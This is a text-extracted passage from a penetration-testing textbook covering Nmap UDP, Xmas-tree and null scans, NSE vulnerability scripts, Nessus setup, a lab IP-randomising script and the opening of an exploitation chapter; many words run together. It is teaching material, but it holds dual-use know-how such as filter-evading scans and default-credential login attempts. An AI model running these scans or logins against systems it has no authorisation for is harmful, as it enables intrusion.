oftencomparedtodroppingaletterinamailbox.Inmostcases,thesendersimplywritesanaddressonan envelope, puts a stamp on the letter, and puts the letter in themailbox. Eventually, themailmancomesalongandpicksupthe letterwhere it isentered into themail routingsystem.In thisexample,thereisnoreturnreceiptordeliveryconfirmationforthesender.Oncethemailmantakestheletter,thesenderhasnoguaranteethattheletterwillgettoitsfinaldestination.Now that you have a very simple understanding of the difference between TCP and UDP, it is

important to remember that not every service utilizes TCP. Several prominent servicesmake use ofUPD including dynamic host configuration protocol, domain name system (for individual lookups),simplenetworkmanagementprotocol,andtrivialfiletransferprotocol.Oneofthemostimportanttraitsforapenetrationtestertohaveisthoroughness.ItwillbequiteembarrassingtoyouifyouoverlookormissaservicebecauseyouforgottorunaUDPscanagainstyourtarget.BoththeTCPConnectscanandtheSYNscanuseTCPasthebasisfortheirscanningtechniques.If

we want to discover services utilizing UDP, we need to instruct Nmap to create scans using UDPpackets.Fortunately,Nmapmakesthisprocessverysimple.TorunaUDPscanagainstourtarget,wewouldenterthefollowingcommandinaterminal:

nmap–sU192.168.18.132

Notice thedifferencebetween this commandand theotherswehave learned.First,we specify theNmapUDPscanbyusingthe“–sU”command.Astutereaderswillalsonoticethatthe“-p-“andthe“-Pn”switcheshavebeendroppedfromthescan.Thereasonforthisissimple.UDPscansareveryslow;runningevenabasicUDPscanonthedefault1000portscantakeasignificantamountoftime.OnceagainitisworthwhiletocomparethetotalscantimebetweenFigures3.3and3.4.Figure3.4showstheoutputoftheUDPscan.

FIGURE3.4 UDPscanandresults.

ItisimportanttorememberthatUDPcommunicationdoesnotrequirearesponsefromthereceiver.Ifthetargetmachinedoesnotsendbackareplysayingapacketwasreceived,howcanNmapdifferentiatebetween an open port and a filtered (firewalled) port? In other words, if a service is available andacceptingUDPpackets,thenormalbehaviorforthisserviceistosimplyacceptthepacketbutnotsendamessage back to the receiver saying “Got It!” Likewise, a common firewall strategy is to simplyabsorbthepacketandnotsendaresponsebacktothesender.Inthisexample,eventhoughonepacketwentthroughandonepacketwasblocked,becausenopacketswerereturnedtothesender,thereisnowayofknowingifthepacketwasacceptedbyaserviceordroppedbythefirewall.ThisconundrummakesitverydifficultforNmaptodetermineifaUDPportisopenorfiltered.Asa

result,whenNmapdoesnotreceivearesponsefromaUDPscan,itreturnsthefollowingmessageforthe port “open | filtered.” It is important to note that on rare occasions a UDP service will send a

Page 74: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

responsebacktotheoriginalsource.Inthesecases,Nmapissmartenoughtounderstandthatthereisclearlyaservicelisteningandrespondingtorequestsandwillmarkthoseportsas“open”.Aswasdiscussedearlier,oftentimespeoplewhoarenewtoportscanningoverlookUDPscans.This

isprobablydueinparttothefactthatmostordinaryUDPportscansprovideverylittleinformationandmarknearlyeveryportas“open|filtered”.Afterseeingthesameoutputonseveraldifferenthosts,itiseasytobecomedisillusionedwithUDPscans.However,allisnotlost!ThefinefolkswhowroteNmapprovideuswithawaytodrawmoreaccurateresultsfromourUDPscans.Toelicitamoreusefulresponsefromourtarget,wecanaddthe“–sV”switchtoourUDPscan.The

“–sV”switchisusedforversionscanningbut, inthiscase,canalsohelpusnarrowtheresultsofourUPDscan.Whenversionscanningisenabled,Nmapsendsadditionalprobestoevery“open|filtered”portthat

is reported by the scan. These additional probes attempt to identify services by sending specificallycraftedpackets.Thesespeciallycraftedpacketsareoftenmuchmoresuccessfulinprovokingaresponsefromthetarget.Oftentimes,thiswillchangethereportedresultsfrom“open|filtered”to“open”.Asmentionedabove,thesimplestwaytoaddversionscanningtoaUDPprobeistoincludethe“–

sV”switch.Pleasenotethatbecausewearealreadyusingthe“–sU”switchtospecifythetypeofscan,wecansimplyappendthecapitalVontothebackofthe“–sU”.Asaresult,ournewcommandbecomes

nmap–sUV172.16.45.135

UsingNmaptoPerformanXmasScanIn thecomputerworld,a request forcomments(RFC) isadocument thatcontainseithernotesor thetechnical specifications covering a given technology or standard. RFCs can provide us with atremendousamountofdetailabout theinnerworkingsofaparticularsystem.BecauseRFCsdescribethe technical details of how a system should work, attackers and hackers will often review RFCslookingforpotentialweaknessesorloopholesdescribedinthedocumentation.Xmastreescansandnullscansexploitjustsuchaloophole.Xmas tree scansget their name from the fact that theFIN,PSH, andURGpacket flags are set to

“on”;asaresult,thepackethassomanyflagsturnedonandthepacketisoftendescribedasbeing“lituplikeaChristmastree”.GivenwhatwealreadyknowaboutTCPcommunicationsandthethree-wayhandshake,itshouldbeclearthatanXmastreepacketishighlyunusualbecauseneithertheSYNnorACK flags are set. However, this unusual packet has a purpose. If the systemwe are scanning hasfollowed the TCPRFC implementation,we can send one of these unusual packets to determine thecurrentstateoftheport.TheTCPRFCsaysthatifaclosedportreceivesapacketthatdoesnothaveanSYN,ACK,orRST

flagset(i.e.thetypeofpacketthatiscreatedfromanXmastreescan),theportshouldrespondwithanRSTpacket of its own.Furthermore, theRFC states that if the port is open and it receives a packetwithoutanSYN,ACK,orRSTflagset,thepacketshouldbeignored.Takeamomenttorereadthelasttwosentences,astheyarecriticaltounderstandingtheresponsewegetfromthesescans.Assuming the operating system of the target fully complies with the TCP RFC, Nmap is able to

determine theport statewithoutcompletingoreven initiatingaconnectionon the target system.Theword “assuming” was used because not every operating system on the market today is fully RFCcompliant. In general, theXmas tree and null scanswork againstUnix andLinuxmachines but notWindows.Asaresult,XmastreeandnullscansareratherineffectiveagainstMicrosofttargets.ToexecuteanXmastreescan,wesimplyreplacethe“–sU”switchfromourlastexamplewithan“–

Page 75: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

sX”.Torunthefullscanintheterminal,wewouldenternmap–sX-p--Pn192.168.18.132

Figure3.5showsthecommandandoutputofaXmastreescanagainstourLinuxtarget.

FIGURE3.5 Xmastreescanandresult.

UsingNmaptoPerformNullScansNull scans, like Xmas tree scans, are probes made with packets that violate traditional TCPcommunication.Inmanyways,thenullscanistheexactoppositeofaXmastreescanbecausethenullscanutilizespacketsthataredevoidofanyflags(completelyempty).Target systemswill respond tonull scans in theexact sameway they respond toXmas tree scans.

Specifically,anopenportonthetargetsystemwillsendnoresponsebacktoNmap,whereasaclosedportwillrespondwithanRSTpacket.Itisimportanttorememberthatthesescansareonlyreliableforoperatingsystemsthatcomply100%withtheTCPRFC.OneofthemainadvantagesofrunningXmastreeandnullscansisthatinsomecases,youareableto

bypasssimplefiltersandaccesscontrollists.SomeoftheseprimitivefiltersworkbyblockinginboundSYNpackets.ThethoughtwiththistypeoffilteristhatbypreventingtheSYNpacketfromenteringthesystem, it is not possible for the three-wayhandshake tooccur. If the three-wayhandshakedoesnotoccur, therecanbenoTCPcommunication streamsbetween the systems,ormoreprecisely,noTCPcommunicationscanbeoriginatedfromoutsideofthefilter.ItisimportanttounderstandthatneithertheXmastreenorthenullscansseektoestablishanytypeof

communicationchannel.Thewholegoalofthesescansistodetermineifaportisopenorclosed.Withtheprevioustwoparagraphsinmind,considerthefollowingexample.AssumethatourNetwork

Admin Ben Owned puts a simple firewall in front of his system to prevent anyone outside of hisnetwork from connecting to the system. The firewall works by simply dropping any externalcommunications that beginwith anSYNpacket.Benhires his buddy, the ethical hacker, to scanhissystem. The ethical hacker’s initial TCP Connect scans show nothing. However, being a seasonedpenetration tester, theethicalhacker followsuphis initial scanwithUDP,Xmas tree,andnull scans.

Page 76: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

TheethicalhackersmileswhenhediscoversthatbothhisXmastreescansandnullscansrevealopenportsonBen’ssystem.ThisscenarioispossiblebecauseNmapcreatespacketswithouttheSYNflagset.Becausethefilteris

onlydroppingincomingpacketswiththeSYNflag,theXmastreeandnullpacketsareallowedthrough.Torunanullscan,weissuethefollowingcommandinaterminal:

nmap–sN-p--Pn192.168.18.132

TheNmapScriptingEngine:FromCaterpillartoButterflyMakenomistake.Nmapisanawesometool.Itismature,robust,welldocumented,andsupportedbyanactivecommunity.However,theNSEprovidesNmapwithanentirelynewskillsetanddimension.TheNSE is a powerful addition to the classic tool that transforms its functionality and capability wellbeyonditstraditionalportscanningduties.LearningtoutilizetheNSEiscriticaltogettingthemostoutofNmap.Whenproperlyimplemented,

the NSE allows Nmap to complete a variety of tasks including vulnerability scanning, advancednetwork discovery, detection of backdoors, and in some cases even perform exploitation! The NSEcommunityisaveryactiveandopengroup.Newscriptsandcapabilitiesarebeingconstantlyadded.IfyouusetheNSEtocreatesomethingnew,Iencourageyoutoshareyourwork.Inordertokeepthingssimple,theNSEdividesthescriptsbycategory.Thecurrentcategoriesinclude

auth,broadcast,brute,default,discovery,dos,exploit,external,fuzzer,intrusive,malware,safe,version,andvuln.Each category canbe further brokendown into individual scripts that performaparticularfunction.Ahackerorpenetration testercan runasinglescriptor theentirecategory (which includesmultiple scripts). It is important to review the documentation for each category and script beforeinvoking them or using them against a target. You can find the most recent and up-to-date NSEinformationathttp://nmap.org/nsedoc/.

ADDITIONALINFORMATIONTheNSE and its scripts are prebuild intoNmap. There is nothing for you to install orconfigure.

InordertoinvoketheNSE,weuse“--script”argumentfollowedbythecategoryorscriptnameandthetargetIPaddressasshownbelow:

nmap--scriptbanner192.168.18.132

The“banner”scriptisanextensionofNmapthatcreatesaconnectiontoaTCPportandprintsanyoutput sent from the target system to the local terminal.Thiscanbeextremelyhelpful in identifyingunrecognizedservicesonobscureports.Similarly we could invoke an entire family or category of scripts by using the “--script

category_name”formatasshownbelow:nmap--scriptvuln192.168.18.132

The“vuln”categorywill runaseriesof scriptswhich look forknown issueson the target system.This category typically provides output only when a vulnerability is discovered. The “vuln”functionality of the NSE is an excellent precursor to our conversation on vulnerability scanning.

Page 77: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Figure3.6showstheoutputofrunninganNSEvulnscanagainstourMetasploitabletarget.Payspecialattention to anyCommonVulnerabilities andExposures (CVE),OpenSourceVulnerabilityDatabase(OSVDB),orlinks,whichareprovided.Wewillreturntothistopicduringourcoverageofexploitation.Fornow,besuretotakenotesandproperlydocumentyourfindings.

FIGURE3.6 NSE—Vulnscanresults.

PortScanningWrapUpNowthatwehavecoveredthebasicsofportscanning,thereareafewadditionalswitchesthatneedtobecovered.Theseswitchesprovideextendedfunctionalitythatmaybeusefultoyouasyouprogressinyourpenetrationtestingcareer.As mentioned earlier, the “–sV” switch is used for version scanning. When conducting version

scanning,Nmapsendsprobestotheopenportinanattempttodeterminespecificinformationabouttheservicethatislistening.Whenpossible,Nmapwillprovidedetailsabouttheserviceincludingversionnumbers and other banner information. This information should be recorded in your notes. It isrecommended thatyouuse the“–sV”switchwheneverpossible,especiallyonunusualorunexpectedports, because awily administratormay havemoved hisweb server to port 34567 in an attempt toobscuretheservice.Nmapincludesanoptiontochangethespeedofyourportscan.Thisisdonewiththe“–T”switch.

The timing switch ranges on a numeric scale from 0 to 5,with 0 being the slowest scan and 5, thefastest.Timingoptions canbe extremelyuseful dependingon the situation.Slow scans are great foravoidingdetectionwhile fast scans canbe helpfulwhenyouhave a limited amount of timeor largenumberofhosts toscan.Pleasebeawarethatbyusingthefastestscanspossible,Nmapmayprovidelessaccurateresults.Last, the “–O” switch can be useful for fingerprinting the operating system. This is handy for

determiningifthetargetyouareattackingisaWindows,Linux,orothertypeofmachine.Knowingthe

Page 78: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

operating system of your targetwill save you time by allowing you to focus your attacks to knownweaknessesofthatsystem.ThereisnouseinexploringexploitsforaLinuxmachineifyourtargetisrunningWindows.Oncewehavecompletedportscanningourtarget,weshouldhavealistofopenportsandservices.

Thisinformationneedstobedocumentedandreviewedclosely.WhilereviewingtheNmapoutput,youshould takeafewmoments toattempt to log intoanyremoteaccessservices thatwerediscovered inyourportscan.Thenextchapterwilladdressrunningabruteforcetooltoattempttologin.Forthetimebeing,youcanattempttologinusingdefaultusernamesandpasswords.Youcouldalsotrylogginginusinganyinformation,usernames,ore-mailaddressesyoufoundduringreconnaissance.Itispossibletocompleteapenetration testbysimplydiscoveringanopenremoteconnectionand logging into theboxwithadefaultusernameandpassword.TelnetandSSHaregreatremoteservicesthatyoushouldalwaystrytoconnectto.Youcandothisfromthecommandlinebytyping:

telnettarget_ip

sshroot@target_ip

Inthisexample,the“target_ip”istheIPaddressofyourvictim.Mostlikelythesewillfail,butontherareoccasionwhenyouaresuccessful,theyareanabsolutehomerun.

VulnerabilityScanningNowthatwehavealistofIPs,openports,andservicesoneachmachine,itistimetoscanthetargetsforvulnerabilities.Vulnerabilityisaweaknessinthesoftwareorsystemconfigurationthatcanoftenbeexploited. Vulnerabilities can come in many forms but most often they are associated with missingpatches.Vendorsoftenreleasepatchestofixaknownproblemorvulnerability.Unpatchedsoftwareandsystemsoftenleadtoquickpenetrationtestsbecausesomevulnerabilitiesallowremotecodeexecution.Remotecodeexecutionisdefinitelyoneoftheholygrailsofhacking.

ADDITIONALINFORMATIONRemote code execution allows an attacker or penetration tester to fully and completelycontrol the remote computer as if he/she were physically sitting in front of it. Thisincludes,butisnotlimitedto,copying,editing,anddeletingdocumentsorfiles,installingnew programs, making changes or disabling defensive products like firewalls andantivirus,settingupkeyloggersorbackdoors,andusingthenewlycompromisedcomputertoattacknewmachines.

It is important to understand this step, as the results will feed directly into step 3wherewewillattempt to exploit and gain access to the system. To scan systems for vulnerabilities, wewill use avulnerability scanner.There are several good scanners available to you but for this bookwewill befocusingonNessus.Nessusisagreattoolandavailableforfree(aslongasyouareahomeuser),fromtheirwebsiteat

http://www.tenable.com/products/nessus.Tenable,themakersofNessus,allowsyoutodownloadafull-fledgedversionandgetakeyforfree.IfyouaregoingtouseNessusinacorporateenvironment,youwillneedtosignupfortheprofessionalfeedratherthantheHomeFeed.Theprofessionalfeedwillrun

Page 79: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

youabout$125amonth($1500ayear).Wewillbeusingthehomeversionforthisbook.Tosignupforakey,visithttp://nessus.org/registerorsearchtheNessushomepage.InstallingNessus is very straightforward. It runs on allmajor operating systems including Linux,

Windows,OSX,FreeBSDandmore.Nessusrunsusingaclient/serverarchitecture,whichallowsyouto havemultiple clients, connect to the server instance if youwant to.Once set up, the server runsquietly in thebackground, andyou interactwith the server throughabrowser.There aremanygoodtutorials on the Internet for installing Nessus on Kali (or any Linux system). In general, to installNessus,youneedtocompletethefollowingsteps:

1.Downloadtheinstallerfromwww.nessus.org.2.RegisterforanoncommercialHomeFeedkeyontheNessuswebsitebysubmittingyoure-mail

address.TheNessuscrewwille-mailyouauniqueproductkeythatcanbeusedtoregistertheproduct.Pleasebesuretopayspecialattentiontotheend-userlicenseagreementthatrestrictshowaHomeFeedcanbeused.

3.Installtheprogram.4.CreateaNessususertoaccessthesystem.5.EnteryourHomeFeed(orProfessional)key.6.Updatetheplug-ins.7.UseabrowsertoconnecttotheNessusserver.

ADDITIONALINFORMATIONInstallingNessusonBacktrackorKaliisstraightforward.Youcaneitherusethe“apt-get”command or you download the .deb package from the Nessus site, .deb files can beinstalledusingthecommand:

dpkg–iname_of_.deb_file_to_install

IfyouarerunningKaliorBacktrack,youcaninstallvia“apt-get”bysimplyopeningaterminalandissuethecommandasshownbelow:

apt-getinstallnessus

NextsetupaNessususerbyenteringthefollowingcommandintotheterminalwindow:/opt/nessus/sbin/nessus-adduserAfterissuingthe“nessus-adduser”command,youwillbeaskedtochooseausername

andpassword.BesuretoanswereachquestionpertainingtotheNessususersetup.Onceauser has been created, you need to activate your registration key. To activate yourregistrationkey,runthefollowingcommandsinaterminalwindow:

/opt/nessus/bin/nessus-fetch--registeryour_reg_key

Youwillneedtoreplace“your_reg_key”withthekeyyoureceivedfromTenable.TheNessuskeyisonlygoodforasingleinstallation;ifyouneedtoreinstall,youwillhavetoregisterforanewkey.Afterenteringthiscommand,youwillneedtowaitseveralminuteswhiletheinitialplug-insaredownloadedtoyourlocalmachine.Oncealltheplug-inshavebeensuccessfullydownloaded,youcanstart theNessusserverby running the followingcommand:

/etc/init.d/nessusdstart

When you reboot your attacker machine and attempt to access Nessus through abrowser, you may see an “Unable to Connect” error message. If this happens, open aterminalandreissuethe“/etc/init.d/nessusdstart”command.

Page 80: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

OneofthekeycomponentsofNessusistheplug-ins.Aplug-inisasmallblockofcodethatissenttothetargetmachinetocheckforaknownvulnerability.Nessushasliterallythousandsofplug-ins.Thesewill need to be downloaded the first time you start the program.The default installationwill set upNessustoautomaticallyupdatetheplug-insforyou.Once you have installed the Nessus server, you can access it by opening a browser and entering

https://127.0.0.1:8834 in theuniform resource locator (URL) (assumingyouare accessingNessusonthesamecomputeryouinstalledtheserveron).Donotforgetthe“https”intheURLasNessususesasecure connection when communicating with the server. If you receive a message “ConnectionUntrustedMessage”ora“CertificateWarning”,youcanignorethesefornowbyaddinganexceptionandcontinuing.Nessuswilltakeafewminutestoinitializeandprocesstheplug-insthatwererecentlydownloaded.Onceeverythinghasbeenprocessed,youwillbepromptedwithaloginscreen.Entertheusernameandpasswordyoucreatedwheninstallingtheprogram.Onceyoulogintotheprogram,youwillbepresentedwiththemainNessusscreen.You can navigate Nessus by clicking the various headings at the top of the page. Each heading

represents a different component of the Nessus tool including: Results, Scans, Templates, Policies,Users,andConfiguration.BeforewecanuseNessus,weneedtoeithercreateacustompolicyormakeuse of one of the predefined policies thatNessus creates for us.You can create a custom policy byclickingthe“Policies” tabat the topof thewebpage.Tosetupascanpolicy,youneedtoprovideaname. Ifyouaregoing to setupmultiplepolicies,you shouldalsoenter adescription.Please takeaminute to reviewFigure3.7whichallowsyou toenablesafechecks.Note that theHTML5 interfacewhichisnowenabledbydefaultandhasthesafechecksmenuunder“Configuration,thenAdvanced”.

FIGURE3.7 Settingupa“safe”scanoptioninconfigurations.

Youwillwanttosetupsafechecksinmostcases(whichisenabledbydefault).Thereasonforthisissimple.Someplug-insandchecksareconsidereddangerousbecausetheycheckforthevulnerabilitybyattempting to actually exploit the system.Be aware that removing the “SafeChecks” check has the

Page 81: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

potential tocausenetworkandsystemdisruptionsoreven takesystemsoffline.Byensuring thatyouhave“SafeChecks”,youcanavoidunintentionalnetworkdisruptions.Next,wemoveintothescanpolicies,whichallowyoutocustomizewhat typeofpoliciesyoucan

usewithintheNessusinterface.Therearemanyoptionsthatyoucanusetocustomizeyourscanpolicy.For thepurposeof thisbook,wewilluse thedefaults.Takeamoment toclick thepolicies template,selectoneofthedefaulttemplatesorcreateyourown.Reviewthevariousoptionsbyclickingeachoftheoptionsontheleft-handsideofthemenu.YouwillnoticeGeneralSettings,Credentials,Plug-ins,andPreferences.Thiswilltakeyouthrougheachoftheremainingpageswhereyoucansetadditionaloptionsforyourpolicy.Onceyourscanpolicyisset,youcansaveitbyclickingthe“Update”button.Youonlyneedtosetup

yourscanpolicyonetime.Onceyourscanhasbeensubmitted,youwillbeable touse thatpolicytoperformvulnerabilityscansagainstyourtarget.Nowthatyouhaveapolicysetup,youcanrunascanagainstyourtarget.Tosetupascan,youneed

toclick the“Scans” link located in the topmenu followedby the“NewScan”button locatedon theright-hand side of the page.Nessuswill bring up a newwindow that can be used to configure andcustomizeyourscan.YoucanenterindividualaddressestoscanasingletargetoralistofIPstoscanmultiplehosts.Figure3.8showsthe“NewScan”screen.

FIGURE3.8 SettinguptheNessusscan.

Before launching thescanyouneed toprovideaname,selectapolicy,andenter theIPaddressofyourtargets.Itisdefinitelyworththeefforttoprovideadescriptivenametoyourscan.Doingsowillallow you to quickly locate and sort your scan results at a later date. You can enter your target IPaddressesindividuallyinthe“ScanTargets”boxorifyouhaveyourtargetIPaddressessavedtoatextfile,youcanusethe“Browse…”buttontolocateandloadit.ThelatestversionsofNessusprovideyouwiththeabilitytoeitherrunyourscanimmediatelyorcreateaTemplateandschedulethescantokickoffatalaterdateandtime.Thiscanbeextremelyhandyifyouneedtokickyourscanoffataparticulartime.Onceyouroptionsareset,youcanclickthe“CreateScan”buttoninthelowerright.Nessuswillprovideyouwithinformationabouttheprogressofyourscanwhileitisrunning.WhenNessusfinishesthescan,youwillbeabletoreviewtheresultsbyclickingthe“Results”linkin

Page 82: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

themenubar.Thereportwillprovideyouwithadetailed listingofall thevulnerabilities thatNessusdiscovered.Weareespeciallyinterestedinvulnerabilitieslabeledhighorcritical.Youshouldtaketimetocloselyreviewthereportandmakedetailednotesaboutthesystem.Wewillusetheseresultsinthenextsteptogainaccesstothesystem.Oncewehavecompletedportscanningandvulnerabilityscanningforeachofourtargets,weshould

haveenoughinformationtobeginattackingthesystem.

HowDoIPracticeThisStep?Theeasiestwaytopracticeportscanningistosetuptwomachinesorusevirtualmachines.Youshouldworkyourwaythrougheachoftheoptionsandscantypesthatwecoveredinthischapter.Payspecialattentiontotheoutputfromeachscan.YoushouldrunscansagainstbothLinuxandWindowsboxes.Youwillprobablywanttoaddsomeservicesorprogramstothetargetsystemsothatyoucanbesure

youwillhaveopenports.InstallingandstartingFTP,awebserver,telnet,orSSHwillworknicely.When a person is first learning about port scanning, one of the bestways to practice is to pick a

subnetandhideanIPaddressinthenetwork.Afterhidingthetargetinthesubnet,thegoalistolocatethetarget.Oncethetargethasbeenlocated,thenextstepistoconductafullportscanofthesystem.Toassistwiththescenariodescribedabove,asimplescripthasbeencreated,whichcanbeusedto

“hide”yoursysteminagivensubnet.ThecodementionedbelowisdesignedtorunpurelyonaLinuxoperatingsystem.FeelfreetomodifyitbychangingthefirstthreeoctetsoftheIPaddresssothatitwillwork on your network and system. Youmay also need to modify the “eth” number to match yoursystem.Thescriptgeneratesa randomnumberbetween1and254.Thisnumber is tobeusedas thefinaloctetintheIPaddress.OncetherandomIPaddressiscreated,thescriptappliestheaddresstothemachine.Running thisscriptwillallowyou tobecomefamiliarwith the toolsand techniqueswecovered in

thischapter.YoucanenterthescriptintoatexteditorandsavethefileasIP_Gen.sh.#!/bin/bash

echo“Settingupthevictimmachine,thiswilltakejustamoment…”

ifconfigeth0down

ifconfigeth0192.168.18.$((($RANDOM%254)+1))up

#uncommentthefollowinglinesbyremovingthe#,tostartupservicesonyour

victim

# please note, you may need to change the location/path depending on your

distro

#/etc/init.d/sshstart

#note,youmayhavetogenerateyourSSHkeyusingsshd-generate

#/etc/init.d/apache2start

#/etc/init.d/atftpdstartecho“Thisvictimmachineisnowsetup.”

echo“TheIPaddressissomewhereinthe192.168.18.0/24network.”

echo“Youmaynowclosethiswindowandbeginyourattack…Goodluck!”

Youwillneedtouseaterminaltonavigatetothedirectorywhereyoucreatedthefile.Youneedtomakethefileexecutablebeforeyoucanrunit.Youcandothisbytyping

chmod755IP_Gen.sh

Torunthescript,youtypethefollowingcommandintoaterminal:./IP_Gen.sh

Thescriptshouldrunandprovideyouwithamessagesayingthevictimmachineisallsetup.Usingthescriptabove,youwillbeabletopracticelocatingandscanningatargetmachine.

Page 83: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

WhereDoIGofromHere?OnceyouhavemasteredthebasicsofNmapandNessus,youshoulddigintotheadvancedoptionsforboth tools.Thischapteronly scratched the surfaceofbothof these fine tools. Insecure.org isagreatresource for learningmore aboutNmap.You should dedicate time to exploring and learning all thevarious switches and options. Likewise, Nessus has a plethora of additional features. Take time toreviewthevariousscansandpolicyoptions.It isdefinitelyworthyourtimetodiveintotheNSE.Besure torevieweachof theexistingcategoriesandscripts. IfyouhaveMetasploitableandaWindowstargetVM, be sure to execute the various scripts against your targets and become familiarwith theoutput.YourultimategoalshouldbetowriteyourowncustomNSEscriptsandextendtheframeworkevenfurther.Another great tool for you to learn is OpenVAS. OpenVAS is the open vulnerability assessment

system.OpenVASisopensource,welldocumented,activelydeveloped,andbestofall,free.OpenVASisverysimilartoNessusandallowsyoutoscantargetsforvulnerabilities.After you are comfortable with the advanced features of these tools, you should look at other

scannersaswell.Therearelotsofgoodportscannersavailable.Pickafew,installthem,andlearntheirfeatures. Itmaybeworthyour timeandeffort toexplorecommercial tools likeNeXpose,MetasploitPro,CoreImpact,Canvasandmore;theseproductsarenotexclusivelyvulnerabilityscanners(theyaremuchmore).Theyallprovideexcellentvulnerabilityassessmentcomponents, althougheachof thesetoolswillcostyouactualcash.

SummaryIn thischapter,wefocusedonscanning.Thischapterstartedwithabriefoverviewofpingsandpingsweepsbeforemovinginto thespecificsofscanning.Thetopicofscanningwasfurtherbrokendownintotwodistincttypesincludingportscanningandvulnerabilityscanning.TheportscannerNmapwasintroduced and several different types of scans were discussed. Actual examples and outputs of thevarious scans were demonstrated as well as the interpretation of the Nmap output. The concept ofvulnerability scanningwas introduced through the use ofNessus. Practical exampleswere presentedanddiscussedthroughoutthischapter.

Page 84: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

CHAPTER4

Exploitation

InformationinThisChapter:Medusa:GainingAccesstoRemoteServicesMetasploit:HackingHughJackmanStyle!JohntheRipper:KingofthePasswordCrackersPasswordResetting:TheBuildingandtheWreckingBallWireshark:SniffingNetworkTrafficMacof:MakingChickenSaladOutofChickenSh∗tArmitage:BreakingOuttheM-60

IntroductionIn the simplest terms, exploitation is the process of gaining control over a system. However, it isimportant to understand that not every exploit leads to total system compromise. For example, theOracle padding exploit can reveal information and allow us to download files but does not fullycompromise the system.More accurately defined, an exploit is a way to bypass a security flaw orcircumvent security controls.This process can takemany different forms but for the purpose of thisbook,theendgoalalwaysremainsthesame:administrative-levelaccesstothecomputer.Inmanyways,exploitationisanattempttoturnthetargetmachineintoapuppetthatwillexecuteyourcommandsanddoyourbidding.Justtobeclear,exploitationistheprocessoflaunchinganexploit.Anexploitistherealization,actualization,orweaponizationofvulnerability.Exploitsareissuesorbugsinthesoftwarecodethatgiveahackerorattackertheabilitytolaunchorexecuteapayloadagainstthetargetsystem.Apayloadisawaytoturnthetargetmachineintoapuppetandforceittodoourwill.Payloadscanalterthe original functionality of the software and allow us to do any number of things like install newsoftware, disable running services, add new users, open backdoors to the compromised system, andmuchmore.

Page 85: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Of all the steps we cover, exploitation is probably the step in which aspiring hackers are mostinterested in. It certainly gets a lot of attention because this phase involvesmany of the traditionalactivitiesthatpeopleassociatewith“hacking”andpenetrationtesting.Therearevolumesofbooksthatarededicated to theprocessof exploitation.Unfortunately, there are alsovolumesofmisinformationregardingstep3.StoriesfromHollywoodandurbanlegendsoffamedhackerexploitshavetaintedthemind of many newcomers. However, this does not mean that exploitation is any less exciting orexhilarating.Onthecontrary,exploitation isstillmyfavoritestep,even if there isa little less“shockand awe” than portrayed in a typical hacker movie. But when completed successfully, exploitationremainssimplybreathtaking.Ofallthestepswediscuss,exploitationisprobablythebroadest.Thewiderangeofactivities,tools,

andoptionsforcompletingthisprocessoftenleadstoconfusionandchaos.Wheninitiallyattemptingtolearnpenetrationtestingandhacking,thelackoforderandstructurecancreatefrustrationandfailure.Itisnotuncommonforanovicetoreadaboutanewtool,orlistentoaspeakertalkaboutsomeadvancedtechniquethatcanbeusedtogainaccesstoasystem,andwanttojumpdirectlytostep3(exploitation).However,itisimportanttorememberthatpenetrationtestingismorethanjustexploitation.Fortunatelybyfollowingtheprocessidentifiedinthisbookorbyanyothersolidpenetrationtestingmethodology,youcanalleviatemanyoftheseissues.Becausethisbookfocusesonthebasics,andasafinalwarning,itiscriticaltostresstheimportance

of completing steps 1 and 2 prior to conducting exploitation. It can be tempting to bypassreconnaissanceand scanningand jumpdirectly toChapter4.That isok for now, but if you are evergoingtoadvanceyourskillsbeyondthescriptkiddielevel,youwillneedtomastertheotherstepsaswell.Thefailuretodosowillnotonlyseverelylimityourabilitytomatureasapenetrationtesterbutwillalsoeventuallystuntyourgrowthasanexploitationexpert.Reconnaissanceandscanningwillhelptobringorderanddirectiontoexploitation.Ok. Now that the speech is over, let us put away the soapbox and get to the business at hand:

exploitation.Asmentionedearlier,exploitationisoneofthemostambiguousphaseswewillcover.Thereasonforthisissimple;eachsystemisdifferentandeachtargetisunique.Dependingonamultitudeoffactors,yourattackvectorswillvaryfromtargettotarget.Differentoperatingsystems(OSs),differentservices,anddifferentprocessesrequiredifferenttypesofattacks.Skilledattackershavetounderstandthe nuances of each system they are attempting to exploit.As your skills continue to progress fromPadawantoJedi,youwillneedtoexpandyourknowledgeofsystemsandtheirweaknesses.Eventually,youwill progress to custom exploitation,which is the process of discovering andwriting your ownexploits.Youcanusethepreviousstep’soutputasaguideforwheretobeginyourexploitationattempts.The

